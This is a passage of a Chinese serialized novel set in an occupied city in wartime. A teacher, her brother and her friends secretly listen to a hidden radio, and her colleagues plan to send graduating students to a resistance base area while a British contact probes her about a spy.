春妮也跟着学了一身的本事。两个姑娘以前经常帮彼此剪头发,她试了试剪刀的刃口, 爽快答应下来。这会儿,她正帮夏风萍掖衣领子洗头。 夏风萍嘿嘿笑:“别拆穿我嘛。” 春妮一瓢水浇到她头上:“那也不用租给于太太 一家子吧。” “好歹是知根知底呢。”夏风萍知道, 自从那年春妮托于太太做被面,得知对方私藏了她好大一块棉布后,就再也不待见那一家子人, 因而辩解得也很小声。 “那你知道于太太全名是什么?” 夏风萍:“……” “你长点心吧,你家先生平时那么多文件拿回家办公, 屋里屋外人一多,要丢了什么要紧东西,看你还笑得出来?”春妮也只能这样隐晦地提醒她。 “哎呀呀, 泡沫要流脖子里去了,快浇水啊!” “……” 夏风萍说,家里的饭菜一向由朱先生烧。朱先生出差不在家,她连用煤气打火都困难。洗完头发,三个人最后还是去街边的粤菜馆解决了午饭。 就是夏生,不知道在朱先生书房里摆弄什么,两个姑娘临到离开房间时,叫了他好几声才跑出来。 直到饭后,春妮跟夏风萍说起打孔机的事,她想请夏风萍爸爸帮着打听还有没有像去年丰华缝纫机厂那样的机会,对方才吞吞吐吐说了实情。 “怕是这段时间我爸爸没空。半个月前他在华界的工厂被倭国人查封,他最近一直在忙这件事。” “那……你爸爸他们现在还好吧?”夏先生开的是化工厂,工厂主要生产肥皂,洗发香波等中档价位的清洁用品。 战争刚开始时,夏风萍说过,有人曾劝过她爸爸将生意转移到其他城市,或是国外。夏先生认为,自己开的是中档清洁用品公司,不涉及到军工和粮食棉花等基础民生,应当不会有碍。反而如果转移离开,很难再找到海城这样拥有大量中产阶级的市场。 至于搬到国外,夏先生是早年的留学生,很清楚那些西方国家的德性。他可以出钱让儿女到国外长见识,躲避战乱,但他深知,这跟把工厂搬过去是不一样的。他现在做的产品,国外有很多同类竞品,真的两眼一黑搬过去,没过多久就会被人吃得渣都不剩。 不出预料,这条建议,他也给否决了。 最后,夏先生排除所有反对意见,坚持留了下来。 夏风萍苦笑了一下: “家里所有的现金都给了我爸去应急,他下个月在银行有批贷款到期。” “要有什么事,记得跟我说一声。”春妮犹豫了一下:“需要钱的话,我这里还有一些。” 夏风萍靠过来,她身上有甜甜的玫瑰香波味:“我知道,我知道你担心我,我会没事的。” “是啊,会没事的。” 春妮喃喃着,只能尽力抱住自己最好的朋友。 打孔机的事,夏先生这里打听不到,她可以多问几个人。现在他们也认识了不少海城的产业主,这方面人脉不缺。只是骤然闻听此事,这令春妮心里又生出了久违的命运飘摇之感。 原本听说夏先生的事,春妮又开始焦虑得想马上去工作攒钱。夏风萍哪不知道她?硬拉着她跟夏生到大戏院去看了场新电影,又到江边散了半天的步,总算将姐弟两个放了回去。 夏风萍这一番折腾毕竟有些用,春妮夜里回了家,因为走了大半晚上的路,洗漱完毕,很快睡意袭来,不知什么时候就睡着了。 或许是跟朋友一番畅谈心情愉快,到早上醒来时,春妮已经淡忘了昨天的忧虑。 实际夏先生的公司如何,对她的事业并没有积极或消极的影响。她会有这样的表现,无非是感到屠刀将落的焦虑和忧愤罢了。 但屠刀落不落,她说了又不算。唯今之计,只能是做一天和尚撞一天钟。或许不想那么多,会比较开心一点。 起了个大早,春妮打开门,让清凉的空气从鼻子灌入肺腔,呼出废气的那一刻,似乎人也沉淀了不少。 宿舍楼外侧的操场,早起的学生们已经开始集结跑操。这些学生中,有很多都是孤儿,学校宿舍是他们唯一的栖身地。因此即使是周末,学校也随时聚着大量的学生。 春妮站在门边呼气吸气,看见季老师吨吨吨从操场跑过来:“顾老师,出门呢?” “对。”每回看见季老师,春妮就觉得,她比自己还像体育□□。 “去哪?” 她犹豫了一下:“我打算去俘虏营一趟。”好歹要了白云恺的人脉,多少得跟人家交代一声。 季老师也去看过白云铠,跟她说说,倒是无碍。 “那你等等,”季老师又吨吨吨吨跑上去,抱了个小罐子下来:“我前天腌了点酱瓜,这些你拿去给白营长他们加个菜。” 春妮稀罕地盯着她,把季老师看得摸不着头脑:“你看我做什么?” 春妮摇摇头:“季老师,我说了你别见怪啊,你可真不像个美术□□。” “嗨,这有什么见不见怪,”季老师爽朗地一挥手:“你又不是头一个说这话的人。” 她嘿嘿一笑,凑过来:“实话跟你说了吧,我啊,家里本来就不是什么有钱人。从小在乡下长大,在家年年都腌酱瓜,味道绝对差不了。你要不要?等你回来了,我给你送点来,就粥喝可香了。” 春妮失笑:“季老师,你是不是忘了,我是做什么的?” 季老师“哎呀”一声:“竟在行家面前露了丑。” 春妮道:“我哪是什么行家。这些天正好吃我自己腌的吃絮了,你送我一点,在我这里拿些芥菜头回去,咱们换着吃。” 倭国人时不时封锁江岸,使得周边的蔬菜运不进来,导致租界鲜菜价格颇高,原先不登大雅之堂的芥菜头成为了人们餐桌上的主旋律。 “没问题,你回来我再找你说话。”季老师又吨吨吨转身跑了:“你跟白营长说,这坛子菜,等他吃完后得再给我还回来。走了啊!” 跟春妮离开前相比,俘虏营又有了很大的变化。 睡美人上市在即,那些白俄营兵们也知道,自己钱包的多寡全在于这一干犯人当中。为此,请剃头师父给他们刮了脸,做了新囚服,还增加了放风时间。 罗阿水告诉春妮,借此机会,白云铠要求订阅的报纸也落实到了位。 俘虏营的院子里,也终于升起了一面鲜艳的国旗。 三年前,白云铠和华国爱国群众斗争几次,要求俘虏营内升起华国国旗,均被俄国人粗暴拒绝,现在总算取得了阶段性胜利。 在双城时,春妮曾听尹老师分析过国际局势。继法国人光速投降后,英国本土也遭遇到了德国人的狂轰滥炸。这两个欧洲强国虽然早早向德国人宣了战,但一直不见实际行动。现在他们被动应战,战场表现又这样差,必然会有不好的影响。 本土被攻击,英国人迫切需要外援。这个影响是方方面面的,延伸到海城,便是英国人面对华国人的要求不再像以前那样傲慢无礼。 强大稳定的国家才是本国人行走在外的底气,现在,英国人的底气不再那么充足了。 春妮原先也不解,为什么白云铠对一面旗帜如此执着。 直到这次回来,她听见李铁柱说了一件事:“那些俘虏们有的好像对白营长起了异心。” “怎么说?” “王季新前段时间派人来跟白营长接触,让白营长骂了出去。有几个人听见了他们的谈话,说只要白营长肯跟他们合作,立刻就能放出去,他们在背地很有些怪白营长脑子太死,不知变通,完全可以先答应了再说。” “他们不知道王季新是大汉奸,早就投了倭国人?白营长就算假意答应,他们也会想办法将其变成真的。” 李铁柱摇了摇头:“这我就不清楚了。他们很警惕,看见我们过来,马上就不说话了。” 囚禁三年多,不是谁都像白云铠那样矢志不改,坚持斗争抗倭。特别这些人绝大部分都是没受过教育的普通士兵。他们对政府的忠诚度先不提,这样枯燥的囚禁生活,只怕也是对意志力极大的考验。 何况政府军 以前在乡下怎么征的兵,春妮还能不清楚? 这些士兵中,肯定不缺像她老家江四叔那样,被硬拉上征兵车的老百姓。 白云铠一直没放弃争取这面旗帜,恐怕更多为的是让他们在艰苦的牢狱生活中,在面对穷凶极恶的白俄营兵和恶劣的生存环境时,不放弃斗志和血气吧? 春妮站在院子外面,仰头去看那面随风舒展的旗帜,微微一笑。 胜利,并不是那样难,不是吗? 第138章 138 夜来香 “方便的话, 给我们带些娱乐用具来吧。” 跟白云铠说完双城一行的收获,分开时,他对春妮提了这样一个要求。 在大多数时候, 他很自觉地扮演着囚徒这个角色。尽管跟春妮他们走得近一些, 很少仗着声名要求别人为他办事。 春妮问:“那些营兵会答应你们夹带这些东西?” 他们刚关进来时,来看他们的市民给他们带了很多礼物。包括好几副桥牌,扑克,叶子牌,甚至还有一副围棋。不出意外,都被那些俄国人以赌博为由,给收走了。 “我会跟他们讲道理。”白云铠眨眼笑道:“同为战乱中的国家, 相信英国人现在一定跟我们有不少共同语言。” 这人一如既往的乐观。 但春妮这次有些担心,提醒道:“我听说, 最近有些人对你不太满意,你记得注意一下。” “所以我才想弄点玩具进来。”白云铠道:“最近米贵柴贵,伙食大不如前,士兵中确实有些怨言, 我只能尽量使其精神富足一些。” 原来他也不是没注意到最近俘虏中的新变化。 在学校设法使俘虏们工作赚取薪水之前,他们的衣食住行由双城政府负担了一部分, 还有一部分来自社会捐款。但这两年海城通胀厉害,像被囚禁之初,他们还有肉食巧克力, 每天组织球赛。到现在自食其力,食物及各方面待遇却反而越发低质, 引发内讧几乎是必然的。 “要不让他们再学点什么?”一直在听他们说话的夏生插了句嘴:“我们隔壁街的阿华弟自从找了个铺子做学徒,比以前长进多了。上个月发饷,还给家里买了只蹄髈, 他阿婆做的金银蹄髈好好吃。” “倒是有些道理。”白云铠并不因夏生是个孩子就敷衍他,“那等我再想想,让他们学些什么。” ………… 从俘虏营出来后,时间还没到中午,春妮带着夏生去了江边的中华饭店吃大餐。 如今她颇有身家,跟弟弟久未团聚,自然要好好犒劳安心守在家里,没给她惹麻烦,据说成绩还颇有进益的小家伙。 中华饭店虽然同样位于江畔,离姐弟俩住的学校宿舍却不近,坐电车至少要四五站,两人从未到过此地。而这次忽然到这里来吃饭,是因为夏生说:“大中华的茄匣儿好吃,我想吃那个。” 春妮带着弟弟来吃饭,也存了了解他这段日子在干什么的意思。 趁菜品还没上桌,春妮先点了壶玫瑰山楂茶开胃,边喝边问夏生:“听徐老师说,你去了好几趟学校的电磁实验室,去那里做什么?” 徐老师跟舒老师一样,都是吴江大学滞留在海城的物理学科的学生之一。舒老师离开后,他挑起了学校物理教学,只是他的专业方向偏向电学。这也是舒老师走后,学校没再研究出新机器的原因。 后继无人哪! 夏生认真道:“那不是徐老师说要做电磁实验给我们看吗?我当然要去观摩观摩。” 春妮:“……你才三年级就知道电磁实验了?”那什么,电磁实验又是什么恶魔低语? 学校的物理实验室要到中学才开课吧? “这有什么难的?”夏生最怕人看不起他年纪小,当即挺起胸膛,道:“上次我自己在实验室做了个小直流发电机,徐老师都夸我厉害呢。” 春妮:“……”这天快聊死了。 “姐,你给我买个电台吧。”夏生忽然说。 “为什么突然想要电台?”夏生很少向春妮这样直白地提要求,这让她很惊奇。 “我想知道无线电是怎么工作的,徐老师说,无线电是电磁波,我想知道,为什么徐老师说无线电是电磁波。”夏生道。 “可是,你忘了,咱们民间不准私用电台。”实际是买电台容易惹麻烦,春妮不想多此一举。 “那是华界才有这个规定,倭国人管不到咱们这边。”夏生这孩子,越来越不好糊弄了。 “那可不一定,你知道倭国人什么时候发凶性,咱们学校离宪兵队可近着呢。” 夏生对无线电知道的也只是皮毛,他不知道,这种电波有专门的检测通道。闻言,立刻给出了办法:“那到时候咱们把壳子拆下来,里边的零件用其他东西装起来,让倭国人看不出来不就行了?” 为了增加自己的说服力,他补充道:“萍姐家的电台就是这么伪装的。” “你说什么?”春妮眉头皱了起来。 “萍姐家的电台就用个木头匣子装着放在书架上啊,我也是找书看的时候无意中打开的。” 从小,春妮就不让夏生去别人家乱翻东西。这孩子还以为春妮突然变了脸色,是因为自己没听她的话。 他哪里知道,姐姐忧心的另有其他。 春妮带着夏生再次去了夏风萍的家。 “你说那个电台啊,”夏风萍大大咧咧放姐弟俩进了书房,打开书架上的木匣子:“你看眼熟吗?” 春妮摸了摸匣子里底座上的刻字:“这是……” 夏风萍笑得像偷了腥的猫:“这就是三年前家辉的那一台,你还记得吗?以前我们经常用它听歌。” 怎么不记得…… 春妮道:“可那台电台不是让倭国人收走了吗?”她就知道,朱先生不会那样容易交出电台。 “是收走了,” 夏风萍得意极了:“他们收走的是个空壳子,真正的机芯让他拆下来,放在匣子里。这家伙,瞒了我们这么久,原来每天晚上都一个人偷偷在家听电台呢。” “然后你又这么告诉了我?”春妮简直为她发愁。 “怕什么,”夏风萍凑近她,小声道:“你不知道,跟我们一样,只交了一个壳子上去的人家多着呢,以前王老师和胡老师,她们都偷偷在家听。以后你休假也可以到我家来听,家辉这台电台的信号特别好,什么台都能收到。” 她特地强调了“什么台”这三个字,话中深意不言而喻。 “你是说,大家都在偷偷收听后方电台?可我怎么没听人说过?” 她是不是错过了一个亿??? “你天天忙得人影不见一个,我们哪有机会跟你讲这些闲话?” 当一个禁忌有无数个人来打破时,还能叫做禁忌? 夏风萍邀她:“今天正好家辉不在家,你等会儿留下来在我这睡,我们晚上一起来听。” “可你们都不怕倭国人来找麻烦?”上半年英国人才配合倭国人的行动,在租界以治安检查为由搜查了一次电台。 至于被那些巡捕抄检出来的东西,有多少是电台,那就不得而知了。 “租界有两百万人呢,想找麻烦,凭他们几个人,找得过来?再说了,咱们海城本地的电台都在正常运行,要是真的让他们全收走了,电台还开得起来?” 春妮都不知道现在海城还有在营业的私人电台! “来嘛来嘛,”夏风萍极力邀请她:“正好这几天后方电台里在放《恨锁金铃》,这可是张澄水先生的最新力作,原来他搬到双城去了,你跟我一起听啊。” 春妮仿佛被打开了新世界的大门。 夏风萍以为她还在犹豫,加大了劝说力度:“你也就轻松这一个晚上了。毕业季到了,你以为校长后面还会再放你这么长的假?” K.O. ………… 是夜,夏风萍穿着寝衣,一盏一盏关掉走廊上的壁灯,对站在餐室门口的姐弟俩招手:“愣着干什么,进来啊。” 春妮:“……你不是说,大家都在听吗?” “你不懂,这是必须走的程序,”夏风萍兴奋得两眼闪光:“这才是听秘密电台的氛围。” “……” 说着,她用椅子顶上书房的门,猫一般无声走到书架前面,搬下了看着像木匣子,实际是电台的物事。 咝咝咝的电流声中,夏风萍熟练地一手捂住电台扩音器喇叭,另一手旋着按钮来回调试。期间有些微的声音在杂乱的电流中穿梭:“……日前,我军在晋省与倭军反扫荡战斗中歼敌四千余人,扩大根据地面积两千余平方公里,缴获枪支……” 夏风萍调试的动作不知什么时候停了下来,春妮同样一个恍神:这是有多久,他们没在海城听到过有关战争的消息了? 如果不是她时常外出,几乎以为这世界同海城那样,平静而热闹着。完全想象不出,在同一个世界,同一片山河,每天都有无数人在战争中死去。 这段广播的信号很弱,三个人生怕动作大一点,信号就断了,直到播完好久,才敢大口呼吸。 夏生头一个跳起来:“打赢了,姐姐,我们赢了!” 夏风萍忍不住激动,一把握住春妮的手:“你听见了吗?在晋省,我们的又一次胜利,倭国人不是不可战胜的!” 她开心得跺起脚,打开了书架旁边的酒柜:“咱们得喝点什么!” 三只高脚酒杯依次排放到书桌上,芬芳的酒水注入其中,就连夏生被特许,酒杯里也被倒了薄薄的一杯底酒液。 “干杯!”三只酒杯碰撞在一起,映出了三张灿烂的笑脸。 “为了胜利,咱们今天不醉不归吧。”一杯酒喝完,夏风萍意犹未尽。 “你忘了,刚刚你还提醒我毕业季的事,明天开始,咱们要加倍的忙碌起来了。” 不期然,春妮想起了昨天山下友幸的微笑。 “那南风吹来清凉,那夜莺啼声齐唱……”电台里忽然流淌出熟悉的歌声。 “那我们要跳舞。来吧,我知道你也想的。”夏风萍扔了酒杯,拽起春妮一个旋转,快活地哼唱起来:“只有那夜来香~,吐露着芬芳……” 只有那夜来香,在深夜里吐露着芬芳。 第139章 139 亢奋 深夜的狂欢是不眠人的奖赏。 第二天, 春妮带着宿醉的头疼赶到学校,学生们已经开始了晨练跑步前的集结。 “小顾老师,你今天来晚了。”站在人群里, 山下友幸跟春妮打招呼。 这个倭国人只要来上班, 就会跟在队伍的最后,跟学生一起作跑步锻炼,雷打不动。 学生们怎么想,春妮不知道,他的这一“亲民”举动意外刺激了另外一群人。 原本校长发起体育锻炼,留待有用之身的口号只限定于学生之间,对老师们并不作强制要求。结果这个家伙来了之后, 唤起了好多叫嚣“我是文人不上战场”的文弱老师,令得一段时间内, 老师的上操率感动得校长对山下友幸都和气了不少。 春妮敏感地发现,今天有好些个老师的精神都很亢奋。 这种亢奋不是看见山下友幸,要面对敌人的亢奋。而是好像一夜之间,大家都有了共同的秘密, 一切交流都只限于隐晦的眼神之中。 这种感觉,在刚来海城没两个月, 春妮也有过。那是在一趟电车上,车下是端着枪审查的倭国人,而在下车的那一刻, 所有人都有了同样危险的秘密。 那是—— “顾老师,你也知道了?”下操后, 季老师拉住她,神秘耳语。 “所以,你也知道了。”春妮肯定:“你们都是从哪知道的消息?” 她发现, 自己忽略身边的人好像有点久啊。 她跟季老师起源于一坛酱瓜的友谊得到了回报:“晚上你等我来找你,我带你去一个地方。”她丢下神秘信息,吨吨吨小跑离去。 平时跟季老师形影不离的高老师冲她眨眼一笑,也转身离开了。 学校老师竟然发展出了秘密组织? 春妮惊奇望着季老师的背影:她好像被抛下得有点多啊。 因为老师们神秘兮兮的叮嘱,这一天下来,春妮走神得有点多,原定的工作差点没有及时完成。 幸好校长考虑到她刚刚回学校,没有给她派很多的工作。 这一天中,春妮主要是在熟悉工厂在她离开这段时间的工作进度,还有印刷厂彩墨的固色问题。 自从三年前他们立下宏愿,要印出油画般的积木,从请韩师父开始,学校陆陆续续投入了不少资金去研发。最后的成品的确越做越好,但离春妮想象中的成效总是差了那么一点。 而这一次,是印刷室又突破了一种难度,他们利用两种蜡纸和印刷颜料特性的不同终于做出了一种自然的阴影效果。 林老师见春妮不说话,以为她不满意:“放轻松放轻松,至少我们这批染料科的同学们在实践中又对染料的特性了解了不少。幸好我们是学校,就算不成功,也有其他的收获,对不对?” 他幽默地说:“这个问题,我们的先辈几百年都没有解决,轮到我们,哪有这么快?不要急于一时嘛。至少在攀登高峰的路上,我们摘到了很多美丽的花。这也是一种收获,不是吗?” 春妮:“……几点了?” 林老师:“啊?” ………… 时针以比平常慢两倍的速度走完了一天的指标,终于指向下午六点钟。 季老师没来。 已经很久没有这样一件事让春妮充满了期待。 海城有许多秘密会社,不是没有人邀请过她加入。而且这些邀请,随着她的名气越来越大,在工厂的地位越来越举足轻重而越来越多,她自然是全部拒绝了。 但她直觉认为,季老师邀请她的这个,不一样。 这种像被小猫抓挠一样的异样感,让她这一天她干什么事都没有什么兴致,于是没做饭,顺理成章到食堂解决了晚饭。 食堂里也跟平时不一样,三五成群的学生老师们窃窃私语,兴奋得不能自已。 直到天色全黑,夏生房间里的台灯关掉,打起了小呼噜。春妮终于听见熟悉的吨吨吨脚步声,起身开了门。 季老师和高老师站在台阶下面,对春妮做了个手势。 春妮看了下手表,将近十点钟,楼上的学生宿舍全部都熄了灯。 因为小摊那边有了足够的人手,平时的这个时间,春妮也已经洗漱完毕,躺在床上看书了。 三个女老师躲着灯光,穿越大半个校区,最后走到……学校最先开始的校舍,即现在的仓库门前? 他们秘密活动的地点居然在她每天进出的地方! 春妮不由得用全新的目光开始审视这间高足有七八米,外墙浇筑白水泥的普通建筑物。 仓库最角落处,隐隐有白色光芒透出。春妮他们去时,已经有五六个老师席地而坐,借着手电筒的光在传看着什么。 “你们看看我把谁带来了?”季老师把春妮拉入灯光的范围。 “是小顾老师,太好了,我们正有问题请教小顾老师呢。小顾老师,这边坐。” 春妮:“……”这个秘密会社入门的方式是不是随意了一点? 她看向场中唯一一个熟悉的人:“韩厂长,你没话跟我说吗?” 韩厂长摸了摸鼻子,笑道:“小顾,我们原本就是个读书会,你不用这么紧张。这段时间,我们有些问题在争论,你来了正好帮我们参详参详。” “什么问题?” 韩厂长道:“你知道,马上有一批学生要毕业了。今年我们的木工厂扩大生产规模,就是招新人,需要的人数也有限,总有人会找不到工作。我们在想,是不是组织一群学生到内地去工作。” “这个问题,你们为什么不跟校长提一提?” “我们提过,”化学老师计老师道:“校长想让他们去双城,可我们听说,双城经常受倭国人的轰炸,很不安全,大家有顾虑。” “那你们想去港城?”春妮以目示意韩校长,有没有跟他们提过温南的事。 韩校长微微摇了摇头,作了个“不缺人”的口型。 “去港城也是英国人的地盘,没意思。依倭国人在租界的德性,我看港城迟早也是倭国人的囊中物。”徐老师忽然插话道。 韩厂长摊了摊手:“你看,每个人意见都不一样,这让我们怎么行动?” “所以我不是请顾老师来参详了吗?”季老师关好了大门走过来:“小顾老师,你在外边见识得多,你给我们说说,现在是去哪好。” 这个问题,还真把春妮问住了。 她凝神思索片刻:“双城你们都说过,经常被轰炸,我不太看好。”其实现在华国除了几个租界,哪里又有真正安全的地方?她真正不看好的,是双城政府的组织能力。 春妮在双城将近一个月,经历过将近十次轰炸,然而每一次都跟第一次她经历过的一样,场面异常混乱。明明附近有其他防空洞,大家往往都一窝蜂地挤向同一个地方,这一看就是平时没有提前练习,防空洞标示指向不明,关键路口没有人引导疏散。这种情况,非常容易造成踩踏事故,像黎太太丢孩子那种事几乎次次都会发生。 有一次一颗炸弹在她所在的防空洞附近爆炸,震下来一颗石头将洞口挡得死死的。大家要求将石头暂时移开好通通风,守门的警察不知是胆小还是死板,关着铁栅子硬是不松口。 那次倭国人只轰炸了一个多小时,但即使时间这么短,走出防空洞时,春妮看见很多人是被抬出来的。 后面虽说没听说发生重大安全事故,但经过这件事,双城政府的能力实在让她担忧。她怕大家真万里迢迢地去了,没死在倭国人的轰炸中,却死在了自己人手里。还不如留在海城,至少不用成天担心炸弹掉下来。 她将自己的几次经历说出来,老师们果然被吓住了:“那港城呢?” “港城跟海城一样,一时涌入了太多难民,但又没发展起来,合适的职位太少,房子租金又贵。在这里找不到工作咱们本地学生至少有房子住,去了那,找不到工作,只能露宿街头了。”就连王国柱那样的粤省地头蛇,不也是只能以贩袜子为生? “那你说去哪?” “昨晚,打仗胜利的是哪一方?”现在抗倭的队伍有很多,昨晚一条没头没脑的播报新闻,在信息不足的情况下,春妮没法分辨这是哪一方的战绩。 但她觉得,比起管理混乱,不敢宣战,一路龟缩到双城的双城政府,敢于主动出击,还在敌后取得了异常难得的胜利,只是这一点,就足够春妮看好它。 韩厂长就笑了起来:“我说什么来着?小顾老师,你也看好西边的根据地吧?” 春妮:“……”根据地?昨天她是听电台里播报过这个名词,但那个地方一般特指…… “我没去过,我也不敢乱说。”她保守地说,并不动声色地开始观察每个人的神色:“有其他人知道的,可以说说。” “那我说吧。”出乎意料,是季老师打破了沉默:“那个地方安全肯定是比不上海城,可现在全华国,有几个地方真正没有战火?我先强调一点,上到八十老头,下到六岁孩子,根据地的所有人都支持抗倭。” “还有这种地方?这我喜欢。”徐老师立刻表态。 “他们的小学教育全部免费。”季老师继续说。 “这是真的?” “小学教育免费,那老师不拿薪水?” 其他人“轰”地炸了。 季老师不得不连续做了几个暂停的动作:“这些资金自然有人负责。我还没说完,他们不止小学教育免费,还鼓励人人识字,个个读书。” “那该多大的投入啊!” “这个地方好,说得我也想去了,比双城政府还重视教育。” 在座的都是老师,自然喜欢更重视教育的地方。 “你能保证,我们的学生去了那能有活做?”一片赞叹声中,有人提出了这个问题。 ……是哦,他们是给学生找出路,不是给老师找出路。 “我这么说吧,目前他们拥有的人口跟海城人口差不多,但老师人数还不到海城的一成。你说我们学生去了那里,有没有活做?” 短暂的寂静之后,是更大的热情:“那这个地方就是给咱学生准备的啊。冒点风险没啥,现在去哪不用冒风险?你们说对不对?” “对!” “是这个理!” “最后一个问题,”春妮看着季老师:“如果决定了去根据地,我们该怎么行动?” 第140章 140 重任 春妮是带着重任结束的这次会议。 “穷家富路, 不能让他们两手空空地上路。小顾老师,孩子们的路费,你一定给想想办法啊。” “那不是还有方校长吗?”虽然学校每个月多了一万块经费的事不好乱说, 但她敢肯定, 这种要求校长是不会拒绝的。 “可校长想让他们去双城。”季老师说出了她的不安。 现在国内虽然发起了“各民族统一战线”的号召,但之前内战这么些年,积累的仇恨朝夕间哪里化解得了?大家各有防备,这很正常。 他们担心校长是双城政府的人,但春妮感觉,方校长能够让尹校长担任他的助理这么长时间,他的立场就很值得玩味。 方校长心细如发, 尹校长跟他合作这么长时间,连春妮都瞧出了不对, 他不可能什么都没感觉出来。 校长建议他们去双城,应该单纯想的是那边有了自己人,学生们若是有什么困难,有自己人可以帮衬。但春妮因为自己去过, 真实感受过,反而不怎么看好。 之所以继续将学校办下去, 就像她跟尹校长交代的那样,更多是为了离中央政府近一点,方便挖更多的经费, 给海城的学校输血。 至于那边的分校,他们执行的教育政策是, 在战时所有的学校都收归国有,由政府统一下拨经费,也鼓励学校自筹。总的来说, 那边离中央政府近,夭蛾子少,反而不用像在海城这里一样,必须事事自己操心解决。 春妮深深看她一眼,道:“如果你们有顾虑,我可以跟校长去说。” “……” 无独有偶,仓库里的秘密会谈结束没多久,许久不见的纳尔逊在第二天也来到了学校,他点名要找春妮。 “密斯顾,你们学校,是不是有个倭国人间谍?”坐下没多久,纳尔逊开门见山地问。 “纳尔逊先生,你怎么知道?”春妮没否认。 去年春妮跟连德江的交锋,为了警示所有老师,校长曾在会议上公开提及过。包括山下友幸,他为什么这样被针对,自己心里肯定有数。 纳尔逊笑道:“我自然有我的渠道。” 春妮静静看着他,他突然提及此事,必然有自己的用意。 果然,纳尔逊第二句就是:“我想知道,你是怎么发现的那个倭国人间谍。” 春妮正要开口,纳尔逊作了个阻止的动作,道:“顾老师,那些应付外人的套话就不用再说一遍了,我想听真话。” 春妮眨眨眼睛:“纳尔逊先生,你把我看得太无所不能了。事实就是我的学生们在巡夜时发现了意图闯进学校绑架我弟弟的歹徒,通过审问他们,我们——” “好吧好吧。”纳尔逊作了个投降的动作。 春妮挑挑眉:你想听真话,不拿点料出来,我怎么可能告诉你? “顾老师,我既然坐在这里问起这件事,自然知道的比这更多一点。”他说:“如果你可以分享你是怎么找到的间谍,我可以为你们提供一些力所能及的帮助。” “比如说?” “真是个难缠的小姑娘。”纳尔逊皱眉道:“你们现在肯定急于了解你们的新股东在黑龙会的情况,我可以提供这方面的帮助。” 春妮看着他,一副“你说,我随便听听”的样子。 “嘿,你该不会说,这件事对你们来说不重要?”观察到她的神色,纳尔逊来时原本信心满满,现在有些不确定了。 春妮笑了笑:“纳尔逊先生,有 个问题,我需要强调一下。我们这里是学校,经营的是工厂,不是政府密探组织。我们跟连先生的关系只是股东跟经营者的关系,他的情况我们当然想尽可能了解,但不知道也没有大的影响。您愿意告知我们,我们欢迎,如果不说,那我们只能表示遗憾。” 言下之意,你的这点料,还不足以让我交出我的秘密。 “说说你的条件。”打过这么多交道,纳尔逊很了解春妮的套路了。他有些不太高兴,以前都是这些华国人求着他办事,现在…… 春妮走出房间,示意隔壁的新晋小助理蒋四成:“去给纳尔逊先生泡杯红茶,加奶不加糖。我刚到手的正山小种,您一定得尝尝。” 纳尔逊摇头笑起来:“顾,你总是这么了解我。” 红茶氤氲的热气软化了室内不太美好的气氛,蒋四成关上门,将满室的茶香留在房间之中。 纳尔逊呷了一口茶,舒服地靠上藤椅的背,听春妮道:“您为什么忽然对一个倭国间谍这样感兴趣?” 他半眯着眼睛,似乎在回味甘美的茶香。 春妮笑道:“您不告诉我,那我就自己猜了啊。总不会你们想对付倭国人吧?” 纳尔逊半抬起眼睛,慢吞吞地说:“如果我说是,你会怎样?我说不是,你又会怎样?” 春妮笑容拉高了半个度:“如果是前者……虽然我们不针对倭国人,可有同一个讨厌的对象,那大家就是朋友了嘛。您了解我的,我这个人对朋友一向够意思。” 纳尔逊又笑了起来:“我喜欢对朋友真诚的人。” “那么,纳尔逊先生一定会对我真诚,对不对?” 纳尔逊放下茶杯:“我只能告诉你,在海城有这样一群人,他们想做一些事情,可能会遇到麻烦,比如,被倭国人阻挠。对此,你有什么看法?” 春妮想起了在双城的最后一天,尹老师告诉她的话:“德国人和倭国人在战前的一年结过一个政治同盟,现在英法被德国攻打,德倭的这个同盟肯定会为远东局势带来新变化。你到时候记得观察一下,也许我们可以利用这个新变化做一些事。” 看来本土被攻击,让一些远在海城的英国人也行动了起来。他们急于获取有关倭国人的情报,也许还想干一些倭国人忌讳的事,找到了她的头上。 春妮的笑容逾盛:“我说过,只要我们讨厌同一个人,那我们就是朋友。为朋友提供帮助,是我义不容辞的事。” 纳尔逊如释重负,笑道:“非常好。看来我们达成了共识,现在你能解答我的疑惑了吧?” “您还没告诉我,我们的股东连德江先生他有什么问题。” “你知道黑龙会,他们在表面上是倭国商团的一个民间组织,实际上他们一直以搜集华国情报为主,行商只是附带,对不对?” 春妮点点头,示意他可以跳过这一点。 “连先生并不是黑龙会在海城的常驻成员,他是半年多前突然冒出来的。” 半年多前?那不是跟他接手玩具厂股份的时间差不多?春妮直起了腰。黑龙会对内组织严密,她的确没什么人手打听这些事。 纳尔逊满意地笑了笑,接着道:“因为另一半的华国人混血,他在黑龙会很受排挤。我想,密斯顾应该知道我的意思?一个不是纯血的倭国人,对倭国不一定那么忠诚,你可以利用他来做一些事。” 春妮看了他一眼:原来,这才是他的真实目的。想利用连德江的,其实是他吧。 她摇了摇头:“我不看好。有的人因为受到排挤,反而更急于得到群体的认同。您怎么就肯定,连先生是您说的那种人?” “据我所知,黑龙会成员每年需要上交不斐的会费。作为黑龙会的正式成员,连德江去年缴纳的会费却是其他人的两倍,跟预备会员是同一个待遇。你说他开不开心?” “也许,他就是希望多交些钱,通过彰显自己的财力,从而得到更高的权力呢?” “所以,我需要密斯顾帮助我弄清这一点。”他的声音放得很低很低,“而且这对密斯顾也有好处,不是吗?” “考虑一下吧。”纳尔逊站起来:“我和我的伙伴诚挚地需要您的合作。作为回报,我会帮助你的朋友白云铠在俘虏营中获得更多的自主权,或者,你其他不过分的要求。这会是笔合算的生意。” 他拉开了门。 门外,山下友幸正好经过。 他对纳尔逊先生露出了恰到好处的谦卑微笑:“纳尔逊先生,您好。”作为公董局首席董事福纳的管家,至少在这个时候,倭国人对纳尔逊的敬意是真实的。 春妮和纳尔逊相视一笑,两人的友谊似乎在这一笑中真的得到了升华。 纳尔逊离开后,春妮吩咐蒋四成:“你去帮我跟王老师说一声,连先生第二季度的股东分红延后几天。如果山下来问的话,就告诉他,帐面上暂时没钱,让他等一段时间再说。” 到了晚上,仓库读书会开始的时候,参加的老师们已经将愿意去根据地的学生名单秘密统计了出来。 一共四十五人。 季老师让老师通知那些学生,她有门路在三天后安排人离开海城,让那些学生准备好行李,到时候去城郊集合,又问春妮资金问题。 尽管春妮觉得,校长知道这些事没什么,还是尊重他们的意见,用另外的名头找校长要了五百块。 平均下来,一个学生有十来块现大洋的路费,相当于纱厂一个高级正式工半个月的工资。 现在交通封锁的厉害,到处都在打仗,季老师也建议,他们准备多一点盘缠更好。 两天之后,没等到这四十五个学生出发,学校先出了一件事。 有一百多个学生同时失踪了。 140-150 